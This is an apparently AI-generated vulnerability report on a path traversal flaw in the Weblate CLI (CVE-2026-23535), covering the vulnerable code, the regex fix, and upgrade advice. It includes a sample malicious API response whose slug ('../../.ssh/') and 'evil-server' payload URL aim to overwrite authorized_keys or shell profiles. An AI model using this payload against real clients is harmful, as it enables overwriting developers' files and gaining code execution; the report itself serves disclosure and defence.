CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23535

Trust Issues: Arbitrary File Write in Weblate CLI (CVE-2026-23535)

Alon Barad
Alon Barad
Software Engineer

Jan 16, 2026·5 min read·24 visits

Executive Summary (TL;DR)

The Weblate CLI (wlc) blindly trusted server-provided identifiers when naming downloaded files. A malicious server can return a 'slug' containing directory traversal sequences (`../../`), allowing it to overwrite files like `~/.ssh/authorized_keys` or `.bashrc` on the developer's machine. Fixed in version 1.17.2 via strict regex sanitization.

A critical Path Traversal vulnerability in the Weblate command-line client (wlc) allows a malicious or compromised Weblate server to write arbitrary files to the client's machine. By crafting malicious 'slug' identifiers in API responses, an attacker can escape the download directory and overwrite sensitive user files.

The Hook: The Server Is Not Your Friend

In the modern DevSecOps landscape, we are obsessed with Zero Trust networking, yet we constantly run CLI tools that treat upstream servers like old drinking buddies. We curl | bash, we npm install packages from strangers, and in this case, we run wlc download to fetch translation files, assuming the server will behave itself. It turns out, that assumption is a critical error.

Weblate is a fantastic tool for managing internationalization. It automates the tedious process of syncing translation strings. The Weblate CLI (wlc) is the glue that developers use to pull those strings into their local environments or CI/CD pipelines. It connects to the Weblate API, asks for the latest data, and saves it to disk.

But here is the catch: when wlc asks the server "What should I name this file?", the vulnerable versions didn't verify the answer. If a compromised or malicious Weblate server decides that the file should be named ../../../../../bin/malware, the CLI dutifully obliges. This isn't just a bug; it's a fundamental architectural failure in trusting external input.

The Flaw: Logic in the Wrong Place

The vulnerability (CVE-2026-23535) is a classic Path Traversal (CWE-22), but the context makes it interesting. Usually, we see path traversal on the server side (a client asking for /etc/passwd). This is the reverse: the client is the victim, and the server is the attacker.

When you run the download command, wlc queries the API for project components. The API returns a JSON object containing metadata, including a slug—a short, URL-friendly identifier for the project and component. The CLI intends to save the file as [output_dir]/[project_slug]-[component_slug].zip.

The logic flaw is simple: the code assumed that a "slug" would always be a benign alphanumeric string. It failed to anticipate that a malicious API response could contain special characters like /, \, or ... Because Python's pathlib (and filesystem APIs in general) resolves paths dynamically, injecting ../ into the filename causes the write operation to traverse up the directory tree, escaping the intended sandbox.

The Code: Anatomy of a Screw-up

Let's look at the smoking gun in wlc/main.py. The code uses pathlib.Path to construct the file path. While pathlib is generally safer than string concatenation for cross-platform compatibility, it does not inherently block traversal attacks if you feed it garbage.

Here is the vulnerable logic from versions prior to 1.17.2:

# The naive approach
directory = Path(self.args.output)
# trusting component.slug and component.project.slug implicitly
file_path = directory.joinpath(f"{component.project.slug}-{component.slug}.zip")
 
directory.mkdir(exist_ok=True, parents=True)
file_path.write_bytes(content)

If self.args.output is /home/user/translations, and the server sends a project slug of ../../.ssh/ and a component slug of authorized_keys, the file_path resolves to /home/user/translations/../../.ssh/authorized_keys. The operating system normalizes this to /home/user/.ssh/authorized_keys, and write_bytes(content) overwrites your keys with whatever payload the server sent.

The fix, implemented in commit 216e691c6e50abae97fe2e4e4f21501bf49a585f, introduces a strict whitelist. They didn't just try to strip ../ (which is often bypassable); they nuked everything that isn't alphanumeric:

# The fix in wlc/utils.py
NON_SLUG_RE = re.compile(r"[^a-zA-Z0-9_]")
 
def sanitize_slug(slug: str) -> str:
    # Replace anything weird with a hyphen
    return NON_SLUG_RE.sub("-", slug)

Now, ../../ becomes ------, rendering the traversal impotent.

The Exploit: From API to RCE

To exploit this, an attacker needs control over the Weblate server instance that the victim is connecting to. This could be a rogue server setup to trick users (social engineering) or a legitimate Weblate instance that has been compromised. The attacker modifies the API response for the project metadata.

Here is the attack chain:

  1. Setup: Attacker configures the Weblate API to return specific JSON for the GET /api/components/ endpoint.
  2. Payload: The attacker sets the slug to a traversal path.
{
  "results": [
    {
      "name": "Malicious Component",
      "slug": "authorized_keys",
      "project": {
        "name": "Pwned Project",
        "slug": "../../.ssh/"
      },
      "file_url": "http://evil-server/payload.zip" 
    }
  ]
}
  1. Execution: The victim runs wlc download --output ./translations.
  2. Detonation: The CLI parses the JSON, constructs the path ../../.ssh/authorized_keys, downloads the zip file (which is actually a raw public key, not a zip, or the attacker relies on the zip content extraction depending on the exact flow), and writes it.

> [!WARNING] > If the attacker targets .bashrc or .zshrc, they gain persistent Remote Code Execution (RCE) the next time the developer opens a terminal. This turns a file write vulnerability into a full system compromise.

The Fix: Mitigation & Remediation

The remediation is straightforward: strict input sanitization. The developers of Weblate CLI reacted correctly by implementing an allowlist approach rather than a blocklist. Blocklists (trying to filter ../) are notoriously difficult to get right due to URL encoding, unicode normalization, and OS-specific separators.

Immediate Steps for Users:

  1. Upgrade: Update to wlc version 1.17.2 immediately. This version includes the regex sanitization that neuters the attack.
    pip install --upgrade wlc
  2. Audit: If you suspect you've connected to a malicious server, check your home directory for unexpected files, particularly in hidden configuration folders (.ssh, .config, shell profiles).

Lessons for Developers: Never trust data coming from an API, even if it's your own API. When performing filesystem operations based on remote input, always treat the input as hostile. Use os.path.basename() or strict regex validation to ensure filenames do not contain directory separators.

Official Patches

WeblateGitHub Commit fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Affected Systems

Weblate CLI (wlc) < 1.17.2Developer WorkstationsCI/CD Pipelines using wlc

Affected Versions Detail

Product
Affected Versions
Fixed Version
Weblate CLI (wlc)
Weblate
< 1.17.21.17.2
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork (Malicious Server Response)
CVSS v3.18.1 (High)
ImpactArbitrary File Write / Potential RCE
Exploit StatusPoC Available
Patch StatusFixed in 1.17.2

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

Internal ResearchExploitation is trivial by mocking an API response with traversal characters in the slug field.

Vulnerability Timeline

Vulnerability identified
2026-01-14
Patch released in wlc 1.17.2
2026-01-16

References & Sources

  • [1]Fix Commit
  • [2]Weblate Homepage

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 4 hours ago•CVE-2026-50751
9.3

CVE-2026-50751: Authentication Bypass in Check Point Security Gateway IKEv1 Legacy Validation

An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.

Alon Barad
Alon Barad
21 views•6 min read
•about 18 hours ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
12 views•7 min read
•3 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
12 views•6 min read
•3 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•3 days ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
4 views•4 min read